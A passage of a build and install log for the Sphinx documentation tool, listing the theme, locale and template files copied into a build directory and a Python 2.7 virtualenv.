build/lib.linux-x86_64-2.7/sphinx/texinputs + + copying sphinx/texinputs/Makefile -> build/lib.linux-x86_64-2.7/sphinx/texinputs + + copying sphinx/texinputs/fncychap.sty -> build/lib.linux-x86_64-2.7/sphinx/texinputs + + copying sphinx/texinputs/python.ist -> build/lib.linux-x86_64-2.7/sphinx/texinputs + + copying sphinx/texinputs/sphinx.sty -> build/lib.linux-x86_64-2.7/sphinx/texinputs + + copying sphinx/texinputs/sphinxhowto.cls -> build/lib.linux-x86_64-2.7/sphinx/texinputs + + copying sphinx/texinputs/sphinxmanual.cls -> build/lib.linux-x86_64-2.7/sphinx/texinputs + + copying sphinx/texinputs/tabulary.sty -> build/lib.linux-x86_64-2.7/sphinx/texinputs + + creating build/lib.linux-x86_64-2.7/sphinx/themes + + creating build/lib.linux-x86_64-2.7/sphinx/themes/agogo + + copying sphinx/themes/agogo/layout.html -> build/lib.linux-x86_64-2.7/sphinx/themes/agogo + + copying sphinx/themes/agogo/theme.conf -> build/lib.linux-x86_64-2.7/sphinx/themes/agogo + + creating build/lib.linux-x86_64-2.7/sphinx/themes/agogo/static + + copying sphinx/themes/agogo/static/agogo.css_t -> build/lib.linux-x86_64-2.7/sphinx/themes/agogo/static + + copying sphinx/themes/agogo/static/bgfooter.png -> build/lib.linux-x86_64-2.7/sphinx/themes/agogo/static + + copying sphinx/themes/agogo/static/bgtop.png -> build/lib.linux-x86_64-2.7/sphinx/themes/agogo/static + + creating build/lib.linux-x86_64-2.7/sphinx/themes/basic + + copying sphinx/themes/basic/defindex.html -> build/lib.linux-x86_64-2.7/sphinx/themes/basic + + copying sphinx/themes/basic/domainindex.html -> build/lib.linux-x86_64-2.7/sphinx/themes/basic + + copying sphinx/themes/basic/genindex-single.html -> build/lib.linux-x86_64-2.7/sphinx/themes/basic + + copying sphinx/themes/basic/genindex-split.html -> build/lib.linux-x86_64-2.7/sphinx/themes/basic + + copying sphinx/themes/basic/genindex.html -> build/lib.linux-x86_64-2.7/sphinx/themes/basic + + copying sphinx/themes/basic/globaltoc.html -> build/lib.linux-x86_64-2.7/sphinx/themes/basic + + copying sphinx/themes/basic/layout.html -> build/lib.linux-x86_64-2.7/sphinx/themes/basic + + copying sphinx/themes/basic/localtoc.html -> build/lib.linux-x86_64-2.7/sphinx/themes/basic + + copying sphinx/themes/basic/opensearch.xml -> build/lib.linux-x86_64-2.7/sphinx/themes/basic + + copying sphinx/themes/basic/page.html -> build/lib.linux-x86_64-2.7/sphinx/themes/basic + + copying sphinx/themes/basic/relations.html -> build/lib.linux-x86_64-2.7/sphinx/themes/basic + + copying sphinx/themes/basic/search.html -> build/lib.linux-x86_64-2.7/sphinx/themes/basic + + copying sphinx/themes/basic/searchbox.html -> build/lib.linux-x86_64-2.7/sphinx/themes/basic + + copying sphinx/themes/basic/searchresults.html -> build/lib.linux-x86_64-2.7/sphinx/themes/basic + + copying sphinx/themes/basic/sourcelink.html -> build/lib.linux-x86_64-2.7/sphinx/themes/basic + + copying sphinx/themes/basic/theme.conf -> build/lib.linux-x86_64-2.7/sphinx/themes/basic + + creating build/lib.linux-x86_64-2.7/sphinx/themes/basic/changes + + copying sphinx/themes/basic/changes/frameset.html -> build/lib.linux-x86_64-2.7/sphinx/themes/basic/changes + + copying sphinx/themes/basic/changes/rstsource.html -> build/lib.linux-x86_64-2.7/sphinx/themes/basic/changes + + copying sphinx/themes/basic/changes/versionchanges.html -> build/lib.linux-x86_64-2.7/sphinx/themes/basic/changes + + creating build/lib.linux-x86_64-2.7/sphinx/themes/basic/static + + copying sphinx/themes/basic/static/ajax-loader.gif -> build/lib.linux-x86_64-2.7/sphinx/themes/basic/static + + copying sphinx/themes/basic/static/basic.css_t -> build/lib.linux-x86_64-2.7/sphinx/themes/basic/static + + copying sphinx/themes/basic/static/comment-bright.png -> build/lib.linux-x86_64-2.7/sphinx/themes/basic/static + + copying sphinx/themes/basic/static/comment-close.png -> build/lib.linux-x86_64-2.7/sphinx/themes/basic/static + + copying sphinx/themes/basic/static/comment.png -> build/lib.linux-x86_64-2.7/sphinx/themes/basic/static + + copying sphinx/themes/basic/static/doctools.js -> build/lib.linux-x86_64-2.7/sphinx/themes/basic/static + + copying sphinx/themes/basic/static/down-pressed.png -> build/lib.linux-x86_64-2.7/sphinx/themes/basic/static + + copying sphinx/themes/basic/static/down.png -> build/lib.linux-x86_64-2.7/sphinx/themes/basic/static + + copying sphinx/themes/basic/static/file.png -> build/lib.linux-x86_64-2.7/sphinx/themes/basic/static + + copying sphinx/themes/basic/static/jquery.js -> build/lib.linux-x86_64-2.7/sphinx/themes/basic/static + + copying sphinx/themes/basic/static/minus.png -> build/lib.linux-x86_64-2.7/sphinx/themes/basic/static + + copying sphinx/themes/basic/static/plus.png -> build/lib.linux-x86_64-2.7/sphinx/themes/basic/static + + copying sphinx/themes/basic/static/searchtools.js_t -> build/lib.linux-x86_64-2.7/sphinx/themes/basic/static + + copying sphinx/themes/basic/static/underscore.js -> build/lib.linux-x86_64-2.7/sphinx/themes/basic/static + + copying sphinx/themes/basic/static/up-pressed.png -> build/lib.linux-x86_64-2.7/sphinx/themes/basic/static + + copying sphinx/themes/basic/static/up.png -> build/lib.linux-x86_64-2.7/sphinx/themes/basic/static + + copying sphinx/themes/basic/static/websupport.js -> build/lib.linux-x86_64-2.7/sphinx/themes/basic/static + + creating build/lib.linux-x86_64-2.7/sphinx/themes/default + + copying sphinx/themes/default/layout.html -> build/lib.linux-x86_64-2.7/sphinx/themes/default + + copying sphinx/themes/default/theme.conf -> build/lib.linux-x86_64-2.7/sphinx/themes/default + + creating build/lib.linux-x86_64-2.7/sphinx/themes/default/static + + copying sphinx/themes/default/static/default.css_t -> build/lib.linux-x86_64-2.7/sphinx/themes/default/static + + copying sphinx/themes/default/static/sidebar.js -> build/lib.linux-x86_64-2.7/sphinx/themes/default/static + + creating build/lib.linux-x86_64-2.7/sphinx/themes/epub + + copying sphinx/themes/epub/epub-cover.html -> build/lib.linux-x86_64-2.7/sphinx/themes/epub + + copying sphinx/themes/epub/layout.html -> build/lib.linux-x86_64-2.7/sphinx/themes/epub + + copying sphinx/themes/epub/theme.conf -> build/lib.linux-x86_64-2.7/sphinx/themes/epub + + creating build/lib.linux-x86_64-2.7/sphinx/themes/epub/static + + copying sphinx/themes/epub/static/epub.css -> build/lib.linux-x86_64-2.7/sphinx/themes/epub/static + + creating build/lib.linux-x86_64-2.7/sphinx/themes/haiku + + copying sphinx/themes/haiku/layout.html -> build/lib.linux-x86_64-2.7/sphinx/themes/haiku + + copying sphinx/themes/haiku/theme.conf -> build/lib.linux-x86_64-2.7/sphinx/themes/haiku + + creating build/lib.linux-x86_64-2.7/sphinx/themes/haiku/static + + copying sphinx/themes/haiku/static/alert_info_32.png -> build/lib.linux-x86_64-2.7/sphinx/themes/haiku/static + + copying sphinx/themes/haiku/static/alert_warning_32.png -> build/lib.linux-x86_64-2.7/sphinx/themes/haiku/static + + copying sphinx/themes/haiku/static/bg-page.png -> build/lib.linux-x86_64-2.7/sphinx/themes/haiku/static + + copying sphinx/themes/haiku/static/bullet_orange.png -> build/lib.linux-x86_64-2.7/sphinx/themes/haiku/static + + copying sphinx/themes/haiku/static/haiku.css_t -> build/lib.linux-x86_64-2.7/sphinx/themes/haiku/static + + creating build/lib.linux-x86_64-2.7/sphinx/themes/nature + + copying sphinx/themes/nature/theme.conf -> build/lib.linux-x86_64-2.7/sphinx/themes/nature + + creating build/lib.linux-x86_64-2.7/sphinx/themes/nature/static + + copying sphinx/themes/nature/static/nature.css_t -> build/lib.linux-x86_64-2.7/sphinx/themes/nature/static + + creating build/lib.linux-x86_64-2.7/sphinx/themes/pyramid + + copying sphinx/themes/pyramid/layout.html -> build/lib.linux-x86_64-2.7/sphinx/themes/pyramid + + copying sphinx/themes/pyramid/theme.conf -> build/lib.linux-x86_64-2.7/sphinx/themes/pyramid + + creating build/lib.linux-x86_64-2.7/sphinx/themes/pyramid/static + + copying sphinx/themes/pyramid/static/dialog-note.png -> build/lib.linux-x86_64-2.7/sphinx/themes/pyramid/static + + copying sphinx/themes/pyramid/static/dialog-seealso.png -> build/lib.linux-x86_64-2.7/sphinx/themes/pyramid/static + + copying sphinx/themes/pyramid/static/dialog-topic.png -> build/lib.linux-x86_64-2.7/sphinx/themes/pyramid/static + + copying sphinx/themes/pyramid/static/dialog-warning.png -> build/lib.linux-x86_64-2.7/sphinx/themes/pyramid/static + + copying sphinx/themes/pyramid/static/epub.css -> build/lib.linux-x86_64-2.7/sphinx/themes/pyramid/static + + copying sphinx/themes/pyramid/static/footerbg.png -> build/lib.linux-x86_64-2.7/sphinx/themes/pyramid/static + + copying sphinx/themes/pyramid/static/headerbg.png -> build/lib.linux-x86_64-2.7/sphinx/themes/pyramid/static + + copying sphinx/themes/pyramid/static/ie6.css -> build/lib.linux-x86_64-2.7/sphinx/themes/pyramid/static + + copying sphinx/themes/pyramid/static/middlebg.png -> build/lib.linux-x86_64-2.7/sphinx/themes/pyramid/static + + copying sphinx/themes/pyramid/static/pyramid.css_t -> build/lib.linux-x86_64-2.7/sphinx/themes/pyramid/static + + copying sphinx/themes/pyramid/static/transparent.gif -> build/lib.linux-x86_64-2.7/sphinx/themes/pyramid/static + + creating build/lib.linux-x86_64-2.7/sphinx/themes/scrolls + + copying sphinx/themes/scrolls/layout.html -> build/lib.linux-x86_64-2.7/sphinx/themes/scrolls + + copying sphinx/themes/scrolls/theme.conf -> build/lib.linux-x86_64-2.7/sphinx/themes/scrolls + + creating build/lib.linux-x86_64-2.7/sphinx/themes/scrolls/artwork + + copying sphinx/themes/scrolls/artwork/logo.svg -> build/lib.linux-x86_64-2.7/sphinx/themes/scrolls/artwork + + creating build/lib.linux-x86_64-2.7/sphinx/themes/scrolls/static + + copying sphinx/themes/scrolls/static/darkmetal.png -> build/lib.linux-x86_64-2.7/sphinx/themes/scrolls/static + + copying sphinx/themes/scrolls/static/headerbg.png -> build/lib.linux-x86_64-2.7/sphinx/themes/scrolls/static + + copying sphinx/themes/scrolls/static/logo.png -> build/lib.linux-x86_64-2.7/sphinx/themes/scrolls/static + + copying sphinx/themes/scrolls/static/metal.png -> build/lib.linux-x86_64-2.7/sphinx/themes/scrolls/static + + copying sphinx/themes/scrolls/static/navigation.png -> build/lib.linux-x86_64-2.7/sphinx/themes/scrolls/static + + copying sphinx/themes/scrolls/static/print.css -> build/lib.linux-x86_64-2.7/sphinx/themes/scrolls/static + + copying sphinx/themes/scrolls/static/scrolls.css_t -> build/lib.linux-x86_64-2.7/sphinx/themes/scrolls/static + + copying sphinx/themes/scrolls/static/theme_extras.js -> build/lib.linux-x86_64-2.7/sphinx/themes/scrolls/static + + copying sphinx/themes/scrolls/static/watermark.png -> build/lib.linux-x86_64-2.7/sphinx/themes/scrolls/static + + copying sphinx/themes/scrolls/static/watermark_blur.png -> build/lib.linux-x86_64-2.7/sphinx/themes/scrolls/static + + creating build/lib.linux-x86_64-2.7/sphinx/themes/sphinxdoc + + copying sphinx/themes/sphinxdoc/layout.html -> build/lib.linux-x86_64-2.7/sphinx/themes/sphinxdoc + + copying sphinx/themes/sphinxdoc/theme.conf -> build/lib.linux-x86_64-2.7/sphinx/themes/sphinxdoc + + creating build/lib.linux-x86_64-2.7/sphinx/themes/sphinxdoc/static + + copying sphinx/themes/sphinxdoc/static/contents.png -> build/lib.linux-x86_64-2.7/sphinx/themes/sphinxdoc/static + + copying sphinx/themes/sphinxdoc/static/navigation.png -> build/lib.linux-x86_64-2.7/sphinx/themes/sphinxdoc/static + + copying sphinx/themes/sphinxdoc/static/sphinxdoc.css_t -> build/lib.linux-x86_64-2.7/sphinx/themes/sphinxdoc/static + + creating build/lib.linux-x86_64-2.7/sphinx/themes/traditional + + copying sphinx/themes/traditional/theme.conf -> build/lib.linux-x86_64-2.7/sphinx/themes/traditional + + creating build/lib.linux-x86_64-2.7/sphinx/themes/traditional/static + + copying sphinx/themes/traditional/static/traditional.css_t -> build/lib.linux-x86_64-2.7/sphinx/themes/traditional/static + + copying sphinx/locale/sphinx.pot -> build/lib.linux-x86_64-2.7/sphinx/locale + + creating build/lib.linux-x86_64-2.7/sphinx/locale/bn + + creating build/lib.linux-x86_64-2.7/sphinx/locale/bn/LC_MESSAGES + + copying sphinx/locale/bn/LC_MESSAGES/sphinx.js -> build/lib.linux-x86_64-2.7/sphinx/locale/bn/LC_MESSAGES + + copying sphinx/locale/bn/LC_MESSAGES/sphinx.mo -> build/lib.linux-x86_64-2.7/sphinx/locale/bn/LC_MESSAGES + + copying sphinx/locale/bn/LC_MESSAGES/sphinx.po -> build/lib.linux-x86_64-2.7/sphinx/locale/bn/LC_MESSAGES + + creating build/lib.linux-x86_64-2.7/sphinx/locale/ca + + creating build/lib.linux-x86_64-2.7/sphinx/locale/ca/LC_MESSAGES + + copying sphinx/locale/ca/LC_MESSAGES/sphinx.js -> build/lib.linux-x86_64-2.7/sphinx/locale/ca/LC_MESSAGES + + copying sphinx/locale/ca/LC_MESSAGES/sphinx.mo -> build/lib.linux-x86_64-2.7/sphinx/locale/ca/LC_MESSAGES + + copying sphinx/locale/ca/LC_MESSAGES/sphinx.po -> build/lib.linux-x86_64-2.7/sphinx/locale/ca/LC_MESSAGES + + creating build/lib.linux-x86_64-2.7/sphinx/locale/cs + + creating build/lib.linux-x86_64-2.7/sphinx/locale/cs/LC_MESSAGES + + copying sphinx/locale/cs/LC_MESSAGES/sphinx.js -> build/lib.linux-x86_64-2.7/sphinx/locale/cs/LC_MESSAGES + + copying sphinx/locale/cs/LC_MESSAGES/sphinx.mo -> build/lib.linux-x86_64-2.7/sphinx/locale/cs/LC_MESSAGES + + copying sphinx/locale/cs/LC_MESSAGES/sphinx.po -> build/lib.linux-x86_64-2.7/sphinx/locale/cs/LC_MESSAGES + + creating build/lib.linux-x86_64-2.7/sphinx/locale/da + + creating build/lib.linux-x86_64-2.7/sphinx/locale/da/LC_MESSAGES + + copying sphinx/locale/da/LC_MESSAGES/sphinx.js -> build/lib.linux-x86_64-2.7/sphinx/locale/da/LC_MESSAGES + + copying sphinx/locale/da/LC_MESSAGES/sphinx.mo -> build/lib.linux-x86_64-2.7/sphinx/locale/da/LC_MESSAGES + + copying sphinx/locale/da/LC_MESSAGES/sphinx.po -> build/lib.linux-x86_64-2.7/sphinx/locale/da/LC_MESSAGES + + creating build/lib.linux-x86_64-2.7/sphinx/locale/de + + creating build/lib.linux-x86_64-2.7/sphinx/locale/de/LC_MESSAGES + + copying sphinx/locale/de/LC_MESSAGES/sphinx.js -> build/lib.linux-x86_64-2.7/sphinx/locale/de/LC_MESSAGES + + copying sphinx/locale/de/LC_MESSAGES/sphinx.mo -> build/lib.linux-x86_64-2.7/sphinx/locale/de/LC_MESSAGES + + copying sphinx/locale/de/LC_MESSAGES/sphinx.po -> build/lib.linux-x86_64-2.7/sphinx/locale/de/LC_MESSAGES + + creating build/lib.linux-x86_64-2.7/sphinx/locale/es + + creating build/lib.linux-x86_64-2.7/sphinx/locale/es/LC_MESSAGES + + copying sphinx/locale/es/LC_MESSAGES/sphinx.js -> build/lib.linux-x86_64-2.7/sphinx/locale/es/LC_MESSAGES + + copying sphinx/locale/es/LC_MESSAGES/sphinx.mo -> build/lib.linux-x86_64-2.7/sphinx/locale/es/LC_MESSAGES + + copying sphinx/locale/es/LC_MESSAGES/sphinx.po -> build/lib.linux-x86_64-2.7/sphinx/locale/es/LC_MESSAGES + + creating build/lib.linux-x86_64-2.7/sphinx/locale/et + + creating build/lib.linux-x86_64-2.7/sphinx/locale/et/LC_MESSAGES + + copying sphinx/locale/et/LC_MESSAGES/sphinx.js -> build/lib.linux-x86_64-2.7/sphinx/locale/et/LC_MESSAGES + + copying sphinx/locale/et/LC_MESSAGES/sphinx.mo -> build/lib.linux-x86_64-2.7/sphinx/locale/et/LC_MESSAGES + + copying sphinx/locale/et/LC_MESSAGES/sphinx.po -> build/lib.linux-x86_64-2.7/sphinx/locale/et/LC_MESSAGES + + creating build/lib.linux-x86_64-2.7/sphinx/locale/fa + + creating build/lib.linux-x86_64-2.7/sphinx/locale/fa/LC_MESSAGES + + copying sphinx/locale/fa/LC_MESSAGES/sphinx.js -> build/lib.linux-x86_64-2.7/sphinx/locale/fa/LC_MESSAGES + + copying sphinx/locale/fa/LC_MESSAGES/sphinx.mo -> build/lib.linux-x86_64-2.7/sphinx/locale/fa/LC_MESSAGES + + copying sphinx/locale/fa/LC_MESSAGES/sphinx.po -> build/lib.linux-x86_64-2.7/sphinx/locale/fa/LC_MESSAGES + + creating build/lib.linux-x86_64-2.7/sphinx/locale/fi + + creating build/lib.linux-x86_64-2.7/sphinx/locale/fi/LC_MESSAGES + + copying sphinx/locale/fi/LC_MESSAGES/sphinx.js -> build/lib.linux-x86_64-2.7/sphinx/locale/fi/LC_MESSAGES + + copying sphinx/locale/fi/LC_MESSAGES/sphinx.mo -> build/lib.linux-x86_64-2.7/sphinx/locale/fi/LC_MESSAGES + + copying sphinx/locale/fi/LC_MESSAGES/sphinx.po -> build/lib.linux-x86_64-2.7/sphinx/locale/fi/LC_MESSAGES + + creating build/lib.linux-x86_64-2.7/sphinx/locale/fr + + creating build/lib.linux-x86_64-2.7/sphinx/locale/fr/LC_MESSAGES + + copying sphinx/locale/fr/LC_MESSAGES/sphinx.js -> build/lib.linux-x86_64-2.7/sphinx/locale/fr/LC_MESSAGES + + copying sphinx/locale/fr/LC_MESSAGES/sphinx.mo -> build/lib.linux-x86_64-2.7/sphinx/locale/fr/LC_MESSAGES + + copying sphinx/locale/fr/LC_MESSAGES/sphinx.po -> build/lib.linux-x86_64-2.7/sphinx/locale/fr/LC_MESSAGES + + creating build/lib.linux-x86_64-2.7/sphinx/locale/hr + + creating build/lib.linux-x86_64-2.7/sphinx/locale/hr/LC_MESSAGES + + copying sphinx/locale/hr/LC_MESSAGES/sphinx.js -> build/lib.linux-x86_64-2.7/sphinx/locale/hr/LC_MESSAGES + + copying sphinx/locale/hr/LC_MESSAGES/sphinx.mo -> build/lib.linux-x86_64-2.7/sphinx/locale/hr/LC_MESSAGES + + copying sphinx/locale/hr/LC_MESSAGES/sphinx.po -> build/lib.linux-x86_64-2.7/sphinx/locale/hr/LC_MESSAGES + + creating build/lib.linux-x86_64-2.7/sphinx/locale/it + + creating build/lib.linux-x86_64-2.7/sphinx/locale/it/LC_MESSAGES + + copying sphinx/locale/it/LC_MESSAGES/sphinx.js -> build/lib.linux-x86_64-2.7/sphinx/locale/it/LC_MESSAGES + + copying sphinx/locale/it/LC_MESSAGES/sphinx.mo -> build/lib.linux-x86_64-2.7/sphinx/locale/it/LC_MESSAGES + + copying sphinx/locale/it/LC_MESSAGES/sphinx.po -> build/lib.linux-x86_64-2.7/sphinx/locale/it/LC_MESSAGES + + creating build/lib.linux-x86_64-2.7/sphinx/locale/ja + + creating build/lib.linux-x86_64-2.7/sphinx/locale/ja/LC_MESSAGES + + copying sphinx/locale/ja/LC_MESSAGES/sphinx.js -> build/lib.linux-x86_64-2.7/sphinx/locale/ja/LC_MESSAGES + + copying sphinx/locale/ja/LC_MESSAGES/sphinx.mo -> build/lib.linux-x86_64-2.7/sphinx/locale/ja/LC_MESSAGES + + copying sphinx/locale/ja/LC_MESSAGES/sphinx.po -> build/lib.linux-x86_64-2.7/sphinx/locale/ja/LC_MESSAGES + + creating build/lib.linux-x86_64-2.7/sphinx/locale/ko + + creating build/lib.linux-x86_64-2.7/sphinx/locale/ko/LC_MESSAGES + + copying sphinx/locale/ko/LC_MESSAGES/sphinx.js -> build/lib.linux-x86_64-2.7/sphinx/locale/ko/LC_MESSAGES + + copying sphinx/locale/ko/LC_MESSAGES/sphinx.mo -> build/lib.linux-x86_64-2.7/sphinx/locale/ko/LC_MESSAGES + + copying sphinx/locale/ko/LC_MESSAGES/sphinx.po -> build/lib.linux-x86_64-2.7/sphinx/locale/ko/LC_MESSAGES + + creating build/lib.linux-x86_64-2.7/sphinx/locale/lt + + creating build/lib.linux-x86_64-2.7/sphinx/locale/lt/LC_MESSAGES + + copying sphinx/locale/lt/LC_MESSAGES/sphinx.js -> build/lib.linux-x86_64-2.7/sphinx/locale/lt/LC_MESSAGES + + copying sphinx/locale/lt/LC_MESSAGES/sphinx.mo -> build/lib.linux-x86_64-2.7/sphinx/locale/lt/LC_MESSAGES + + copying sphinx/locale/lt/LC_MESSAGES/sphinx.po -> build/lib.linux-x86_64-2.7/sphinx/locale/lt/LC_MESSAGES + + creating build/lib.linux-x86_64-2.7/sphinx/locale/lv + + creating build/lib.linux-x86_64-2.7/sphinx/locale/lv/LC_MESSAGES + + copying sphinx/locale/lv/LC_MESSAGES/sphinx.js -> build/lib.linux-x86_64-2.7/sphinx/locale/lv/LC_MESSAGES + + copying sphinx/locale/lv/LC_MESSAGES/sphinx.mo -> build/lib.linux-x86_64-2.7/sphinx/locale/lv/LC_MESSAGES + + copying sphinx/locale/lv/LC_MESSAGES/sphinx.po -> build/lib.linux-x86_64-2.7/sphinx/locale/lv/LC_MESSAGES + + creating build/lib.linux-x86_64-2.7/sphinx/locale/ne + + creating build/lib.linux-x86_64-2.7/sphinx/locale/ne/LC_MESSAGES + + copying sphinx/locale/ne/LC_MESSAGES/sphinx.js -> build/lib.linux-x86_64-2.7/sphinx/locale/ne/LC_MESSAGES + + copying sphinx/locale/ne/LC_MESSAGES/sphinx.mo -> build/lib.linux-x86_64-2.7/sphinx/locale/ne/LC_MESSAGES + + copying sphinx/locale/ne/LC_MESSAGES/sphinx.po -> build/lib.linux-x86_64-2.7/sphinx/locale/ne/LC_MESSAGES + + creating build/lib.linux-x86_64-2.7/sphinx/locale/nl + + creating build/lib.linux-x86_64-2.7/sphinx/locale/nl/LC_MESSAGES + + copying sphinx/locale/nl/LC_MESSAGES/sphinx.js -> build/lib.linux-x86_64-2.7/sphinx/locale/nl/LC_MESSAGES + + copying sphinx/locale/nl/LC_MESSAGES/sphinx.mo -> build/lib.linux-x86_64-2.7/sphinx/locale/nl/LC_MESSAGES + + copying sphinx/locale/nl/LC_MESSAGES/sphinx.po -> build/lib.linux-x86_64-2.7/sphinx/locale/nl/LC_MESSAGES + + creating build/lib.linux-x86_64-2.7/sphinx/locale/pl + + creating build/lib.linux-x86_64-2.7/sphinx/locale/pl/LC_MESSAGES + + copying sphinx/locale/pl/LC_MESSAGES/sphinx.js -> build/lib.linux-x86_64-2.7/sphinx/locale/pl/LC_MESSAGES + + copying sphinx/locale/pl/LC_MESSAGES/sphinx.mo -> build/lib.linux-x86_64-2.7/sphinx/locale/pl/LC_MESSAGES + + copying sphinx/locale/pl/LC_MESSAGES/sphinx.po -> build/lib.linux-x86_64-2.7/sphinx/locale/pl/LC_MESSAGES + + creating build/lib.linux-x86_64-2.7/sphinx/locale/pt_BR + + creating build/lib.linux-x86_64-2.7/sphinx/locale/pt_BR/LC_MESSAGES + + copying sphinx/locale/pt_BR/LC_MESSAGES/sphinx.js -> build/lib.linux-x86_64-2.7/sphinx/locale/pt_BR/LC_MESSAGES + + copying sphinx/locale/pt_BR/LC_MESSAGES/sphinx.mo -> build/lib.linux-x86_64-2.7/sphinx/locale/pt_BR/LC_MESSAGES + + copying sphinx/locale/pt_BR/LC_MESSAGES/sphinx.po -> build/lib.linux-x86_64-2.7/sphinx/locale/pt_BR/LC_MESSAGES + + creating build/lib.linux-x86_64-2.7/sphinx/locale/ru + + creating build/lib.linux-x86_64-2.7/sphinx/locale/ru/LC_MESSAGES + + copying sphinx/locale/ru/LC_MESSAGES/sphinx.js -> build/lib.linux-x86_64-2.7/sphinx/locale/ru/LC_MESSAGES + + copying sphinx/locale/ru/LC_MESSAGES/sphinx.mo -> build/lib.linux-x86_64-2.7/sphinx/locale/ru/LC_MESSAGES + + copying sphinx/locale/ru/LC_MESSAGES/sphinx.po -> build/lib.linux-x86_64-2.7/sphinx/locale/ru/LC_MESSAGES + + creating build/lib.linux-x86_64-2.7/sphinx/locale/sl + + creating build/lib.linux-x86_64-2.7/sphinx/locale/sl/LC_MESSAGES + + copying sphinx/locale/sl/LC_MESSAGES/sphinx.js -> build/lib.linux-x86_64-2.7/sphinx/locale/sl/LC_MESSAGES + + copying sphinx/locale/sl/LC_MESSAGES/sphinx.mo -> build/lib.linux-x86_64-2.7/sphinx/locale/sl/LC_MESSAGES + + copying sphinx/locale/sl/LC_MESSAGES/sphinx.po -> build/lib.linux-x86_64-2.7/sphinx/locale/sl/LC_MESSAGES + + creating build/lib.linux-x86_64-2.7/sphinx/locale/sv + + creating build/lib.linux-x86_64-2.7/sphinx/locale/sv/LC_MESSAGES + + copying sphinx/locale/sv/LC_MESSAGES/sphinx.js -> build/lib.linux-x86_64-2.7/sphinx/locale/sv/LC_MESSAGES + + copying sphinx/locale/sv/LC_MESSAGES/sphinx.mo -> build/lib.linux-x86_64-2.7/sphinx/locale/sv/LC_MESSAGES + + copying sphinx/locale/sv/LC_MESSAGES/sphinx.po -> build/lib.linux-x86_64-2.7/sphinx/locale/sv/LC_MESSAGES + + creating build/lib.linux-x86_64-2.7/sphinx/locale/tr + + creating build/lib.linux-x86_64-2.7/sphinx/locale/tr/LC_MESSAGES + + copying sphinx/locale/tr/LC_MESSAGES/sphinx.js -> build/lib.linux-x86_64-2.7/sphinx/locale/tr/LC_MESSAGES + + copying sphinx/locale/tr/LC_MESSAGES/sphinx.mo -> build/lib.linux-x86_64-2.7/sphinx/locale/tr/LC_MESSAGES + + copying sphinx/locale/tr/LC_MESSAGES/sphinx.po -> build/lib.linux-x86_64-2.7/sphinx/locale/tr/LC_MESSAGES + + creating build/lib.linux-x86_64-2.7/sphinx/locale/uk_UA + + creating build/lib.linux-x86_64-2.7/sphinx/locale/uk_UA/LC_MESSAGES + + copying sphinx/locale/uk_UA/LC_MESSAGES/sphinx.js -> build/lib.linux-x86_64-2.7/sphinx/locale/uk_UA/LC_MESSAGES + + copying sphinx/locale/uk_UA/LC_MESSAGES/sphinx.mo -> build/lib.linux-x86_64-2.7/sphinx/locale/uk_UA/LC_MESSAGES + + copying sphinx/locale/uk_UA/LC_MESSAGES/sphinx.po -> build/lib.linux-x86_64-2.7/sphinx/locale/uk_UA/LC_MESSAGES + + creating build/lib.linux-x86_64-2.7/sphinx/locale/zh_CN + + creating build/lib.linux-x86_64-2.7/sphinx/locale/zh_CN/LC_MESSAGES + + copying sphinx/locale/zh_CN/LC_MESSAGES/sphinx.js -> build/lib.linux-x86_64-2.7/sphinx/locale/zh_CN/LC_MESSAGES + + copying sphinx/locale/zh_CN/LC_MESSAGES/sphinx.mo -> build/lib.linux-x86_64-2.7/sphinx/locale/zh_CN/LC_MESSAGES + + copying sphinx/locale/zh_CN/LC_MESSAGES/sphinx.po -> build/lib.linux-x86_64-2.7/sphinx/locale/zh_CN/LC_MESSAGES + + creating build/lib.linux-x86_64-2.7/sphinx/locale/zh_TW + + creating build/lib.linux-x86_64-2.7/sphinx/locale/zh_TW/LC_MESSAGES + + copying sphinx/locale/zh_TW/LC_MESSAGES/sphinx.js -> build/lib.linux-x86_64-2.7/sphinx/locale/zh_TW/LC_MESSAGES + + copying sphinx/locale/zh_TW/LC_MESSAGES/sphinx.mo -> build/lib.linux-x86_64-2.7/sphinx/locale/zh_TW/LC_MESSAGES + + copying sphinx/locale/zh_TW/LC_MESSAGES/sphinx.po -> build/lib.linux-x86_64-2.7/sphinx/locale/zh_TW/LC_MESSAGES + + copying sphinx/pycode/Grammar.txt -> build/lib.linux-x86_64-2.7/sphinx/pycode + + creating build/lib.linux-x86_64-2.7/sphinx/ext/autosummary/templates + + creating build/lib.linux-x86_64-2.7/sphinx/ext/autosummary/templates/autosummary + + copying sphinx/ext/autosummary/templates/autosummary/base.rst -> build/lib.linux-x86_64-2.7/sphinx/ext/autosummary/templates/autosummary + + copying sphinx/ext/autosummary/templates/autosummary/class.rst -> build/lib.linux-x86_64-2.7/sphinx/ext/autosummary/templates/autosummary + + copying sphinx/ext/autosummary/templates/autosummary/module.rst -> build/lib.linux-x86_64-2.7/sphinx/ext/autosummary/templates/autosummary + + running install_lib + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/writers + + copying build/lib.linux-x86_64-2.7/sphinx/writers/websupport.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/writers + + copying build/lib.linux-x86_64-2.7/sphinx/writers/text.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/writers + + copying build/lib.linux-x86_64-2.7/sphinx/writers/latex.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/writers + + copying build/lib.linux-x86_64-2.7/sphinx/writers/texinfo.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/writers + + copying build/lib.linux-x86_64-2.7/sphinx/writers/manpage.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/writers + + copying build/lib.linux-x86_64-2.7/sphinx/writers/html.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/writers + + copying build/lib.linux-x86_64-2.7/sphinx/writers/__init__.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/writers + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/agogo + + copying build/lib.linux-x86_64-2.7/sphinx/themes/agogo/layout.html -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/agogo + + copying build/lib.linux-x86_64-2.7/sphinx/themes/agogo/theme.conf -> 